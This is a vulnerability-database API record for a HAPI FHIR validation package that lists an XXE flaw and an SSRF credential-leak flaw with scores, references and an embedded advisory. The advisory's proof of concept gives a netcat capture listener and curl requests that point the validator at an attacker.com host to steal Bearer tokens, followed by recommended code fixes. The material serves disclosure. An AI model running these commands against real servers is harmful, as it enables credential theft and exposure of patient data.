{"url":"http://public2.vulnerablecode.io/api/packages/64284?format=json","purl":"pkg:maven/ca.uhn.hapi.fhir/org.hl7.fhir.validation@5.6.106","type":"maven","namespace":"ca.uhn.hapi.fhir","name":"org.hl7.fhir.validation","version":"5.6.106","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"6.9.4","latest_non_vulnerable_version":"6.9.7","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/64754?format=json","vulnerability_id":"VCID-hhuh-bj59-zbfm","summary":"HAPI FHIR: hapifhir/org.hl7.fhir.core: HAPI FHIR: Information disclosure and potential impersonation via HTTP redirects sending sensitive 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FHIR XML External Entity (XXE) vulnerability\nAn XML External Entity (XXE) vulnerability in HAPI FHIR before v6.4.0 allows attackers to access sensitive information or execute arbitrary code via supplying a crafted request containing malicious XML entities.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2024-51132.json","reference_id":"","reference_type":"","scores":[{"value":"9.1","scoring_system":"cvssv3","scoring_elements":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2024-51132.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2024-51132","reference_id":"","reference_type":"","scores":[{"value":"0.07937","scoring_system":"epss","scoring_elements":"0.92205","published_at":"2026-06-06T12:55:00Z"},{"value":"0.07937","scoring_system":"epss","scoring_elements":"0.92207","published_at":"2026-06-05T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2024-51132"},{"reference_url":"https://github.com/hapifhir/org.hl7.fhir.core","reference_id":"","reference_type":"","scores":[{"value":"9.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"8.8","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2024-11-06T19:21:58Z/"}],"url":"https://github.com/hapifhir/org.hl7.fhir.core"},{"reference_url":"https://github.com/hapifhir/org.hl7.fhir.core/commit/7ede053a5fca50cc2802884c661a241d51703a67","reference_id":"","reference_type":"","scores":[{"value":"9.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"8.8","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/hapifhir/org.hl7.fhir.core/commit/7ede053a5fca50cc2802884c661a241d51703a67"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2323897","reference_id":"2323897","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2323897"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2024-51132","reference_id":"CVE-2024-51132","reference_type":"","scores":[{"value":"9.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"8.8","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-51132"},{"reference_url":"https://github.com/JAckLosingHeart/CVE-2024-51132-POC","reference_id":"CVE-2024-51132-POC","reference_type":"","scores":[{"value":"9.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"8.8","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2024-11-06T19:21:58Z/"}],"url":"https://github.com/JAckLosingHeart/CVE-2024-51132-POC"},{"reference_url":"https://github.com/advisories/GHSA-4cf2-cxp3-rjr7","reference_id":"GHSA-4cf2-cxp3-rjr7","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-4cf2-cxp3-rjr7"},{"reference_url":"https://access.redhat.com/errata/RHSA-2024:9806","reference_id":"RHSA-2024:9806","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2024:9806"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/83122?format=json","purl":"pkg:maven/ca.uhn.hapi.fhir/org.hl7.fhir.validation@6.4.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-hhuh-bj59-zbfm"},{"vulnerability":"VCID-trrk-uv4z-1bhc"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:maven/ca.uhn.hapi.fhir/org.hl7.fhir.validation@6.4.0"}],"aliases":["CVE-2024-51132","GHSA-4cf2-cxp3-rjr7"],"risk_score":4.4,"exploitability":"0.5","weighted_severity":"8.8","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-t9ha-qzdq-xuaf"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/91463?format=json","vulnerability_id":"VCID-trrk-uv4z-1bhc","summary":"FHIR Validator HTTP service has SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft\n## Summary\n\nThe FHIR Validator HTTP service exposes an unauthenticated `/loadIG` endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a `startsWith()` URL prefix matching flaw in the credential provider (`ManagedWebAccessUtils.getServer()`), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL.\n\n## Details\n\n**Step 1 — SSRF Entry Point** (`LoadIGHTTPHandler.java:35-43`):\n\nThe `/loadIG` endpoint accepts unauthenticated POST requests with a JSON body containing an `ig` field. The value is passed directly to `IgLoader.loadIg()` with no URL validation or allowlisting. When the value is an HTTP(S) URL, `IgLoader.fetchFromUrlSpecific()` makes an outbound GET request via `ManagedWebAccess.get()`:\n\n```java\n// LoadIGHTTPHandler.java:43\nengine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), igContent, true);\n\n// IgLoader.java:437 (fetchFromUrlSpecific)\nHTTPResult res = ManagedWebAccess.get(Arrays.asList(\"web\"), source + \"?nocache=\" + System.currentTimeMillis());\n```\n\n**Step 2 — Credential Leak via Prefix Matching** (`ManagedWebAccessUtils.java:14`):\n\nWhen `ManagedWebAccess` creates a `SimpleHTTPClient`, it attaches an `authProvider` that uses `startsWith()` to determine whether credentials should be sent:\n\n```java\n// ManagedWebAccessUtils.java:14\nif (url.startsWith(serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) {\n    return serverDetails;\n}\n```\n\nIf the server has `https://packages.fhir.org` configured with a Bearer token, a request to `https://packages.fhir.org.attacker.com/...` matches the prefix, and the token is attached to the request to the attacker's domain.\n\n**Step 3 — Redirect Amplification** (`SimpleHTTPClient.java:84-99,111-118`):\n\n`SimpleHTTPClient` manually follows redirects with `setInstanceFollowRedirects(false)`. On each redirect hop, `getHttpGetConnection()` calls `setHeaders()` which re-evaluates `authProvider.canProvideHeaders(url)` against the **new URL**. This means even an indirect redirect path can trigger credential leakage.\n\n## PoC\n\n**Prerequisites:** A FHIR Validator HTTP server running with `fhir-settings.json` containing:\n```json\n{\n  \"servers\": [{\n    \"url\": \"https://packages.fhir.org\",\n    \"authenticationType\": \"token\",\n    \"token\": \"ghp_SecretTokenForFHIRRegistry123\"\n  }]\n}\n```\n\n**Step 1:** Set up attacker credential capture server:\n```bash\n# On attacker machine, listen for incoming requests\nnc -lp 80 > /tmp/captured_request.txt &\n# Register DNS: packages.fhir.org.attacker.com -> attacker IP\n```\n\n**Step 2:** Trigger the SSRF with prefix-matching URL:\n```bash\ncurl -X POST http://target-validator:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"ig\": \"https://packages.fhir.org.attacker.com/malicious-ig\"}'\n```\n\n**Step 3:** Verify credential capture:\n```bash\ncat /tmp/captured_request.txt\n# Expected output includes:\n# GET /malicious-ig?nocache=... HTTP/1.1\n# Authorization: Bearer ghp_SecretTokenForFHIRRegistry123\n# Host: packages.fhir.org.attacker.com\n```\n\n**Redirect variant** (if direct prefix match isn't possible):\n```bash\n# Attacker server returns: HTTP/1.1 302 Location: https://packages.fhir.org.attacker.com/steal\ncurl -X POST http://target-validator:8080/loadIG \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"ig\": \"https://attacker.com/redirect\"}'\n```\n\n## Impact\n\n- **Credential theft**: Attacker steals Bearer tokens, Basic auth credentials, or API keys for any configured FHIR server\n- **Supply chain attack**: Stolen package registry credentials could be used to publish malicious FHIR packages affecting downstream consumers\n- **Data breach**: If credentials grant access to protected FHIR endpoints (e.g., clinical data repositories), patient health records could be exposed\n- **Scope change (S:C)**: The vulnerability in the validator compromises the security of external systems (FHIR registries, package servers) whose credentials are leaked\n\n## Recommended Fix\n\n**Fix 1 — Proper URL origin comparison in ManagedWebAccessUtils** (`ManagedWebAccessUtils.java`):\n```java\npublic static ServerDetailsPOJO getServer(Iterable<String> serverTypes, String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {\n    if (serverAuthDetails != null) {\n      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {\n        for (String serverType : serverTypes) {\n          if (urlMatchesOrigin(url, serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) {\n            return serverDetails;\n          }\n        }\n      }\n    }\n    return null;\n  }\n\n  private static boolean urlMatchesOrigin(String requestUrl, String serverUrl) {\n    try {\n      URL req = new URL(requestUrl);\n      URL srv = new URL(serverUrl);\n      return req.getProtocol().equals(srv.getProtocol())\n          && req.getHost().equals(srv.getHost())\n          && req.getPort() == srv.getPort()\n          && req.getPath().startsWith(srv.getPath());\n    } catch (MalformedURLException e) {\n      return false;\n    }\n  }\n```\n\n**Fix 2 — URL allowlisting in LoadIGHTTPHandler** (`LoadIGHTTPHandler.java`):\n```java\n// Add allowlist validation before loading\nprivate static final Set<String> ALLOWED_HOSTS = Set.of(\n    \"packages.fhir.org\", \"packages2.fhir.org\", \"build.fhir.org\"\n);\n\nprivate boolean isAllowedSource(String ig) {\n    try {\n        URL url = new URL(ig);\n        return ALLOWED_HOSTS.contains(url.getHost());\n    } catch (MalformedURLException e) {\n        return false; // Not a URL, could be a package reference\n    }\n}\n```","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34361","reference_id":"","reference_type":"","scores":[{"value":"0.00067","scoring_system":"epss","scoring_elements":"0.20917","published_at":"2026-06-05T12:55:00Z"},{"value":"0.00067","scoring_system":"epss","scoring_elements":"0.20902","published_at":"2026-06-06T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34361"},{"reference_url":"https://github.com/hapifhir/org.hl7.fhir.core","reference_id":"","reference_type":"","scores":[{"value":"9.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/hapifhir/org.hl7.fhir.core"},{"reference_url":"https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-vr79-8m62-wh98","reference_id":"","reference_type":"","scores":[{"value":"9.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-31T17:24:51Z/"}],"url":"https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-vr79-8m62-wh98"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34361","reference_id":"","reference_type":"","scores":[{"value":"9.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34361"},{"reference_url":"https://github.com/advisories/GHSA-vr79-8m62-wh98","reference_id":"GHSA-vr79-8m62-wh98","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-vr79-8m62-wh98"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/113738?format=json","purl":"pkg:maven/ca.uhn.hapi.fhir/org.hl7.fhir.validation@6.9.4","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:maven/ca.uhn.hapi.fhir/org.hl7.fhir.validation@6.9.4"}],"aliases":["CVE-2026-34361","GHSA-vr79-8m62-wh98"],"risk_score":4.5,"exploitability":"0.5","weighted_severity":"9.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-trrk-uv4z-1bhc"}],"fixing_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/44642?format=json","vulnerability_id":"VCID-akg4-sqhf-ekb4","summary":"Relative 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